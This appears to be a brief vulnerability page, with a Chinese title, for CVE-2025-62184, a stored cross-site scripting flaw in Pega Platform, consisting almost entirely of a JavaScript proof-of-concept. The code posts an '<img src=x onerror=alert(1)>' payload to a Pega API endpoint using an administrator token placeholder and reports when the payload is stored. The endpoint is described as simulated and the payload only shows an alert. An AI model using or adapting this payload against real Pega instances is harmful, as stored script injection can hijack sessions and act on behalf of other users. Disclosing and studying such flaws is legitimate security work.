CVE-2025-62184 Pega Platform存储型XSS漏洞

// Example Stored XSS Payload for Pega Platform // Target: Vulnerable UI Component in versions 8.1.0 to 25.1.0 // Requirements: Administrator privileges const maliciousPayload = '<img src=x onerror=alert(1)>'; // Simulating an API call to update a vulnerable component // In a real scenario, the endpoint would be specific to the Pega instance configuration fetch('/prweb/api/v1/save_component', { method: 'POST', headers: { 'Content-Type': 'application/json', 'Authorization': 'Bearer <Admin_Token>' }, body: JSON.stringify({ "componentId": "vulnerable_ui_element", "content": maliciousPayload }) }).then(response => { if(response.ok) console.log('Payload stored successfully'); });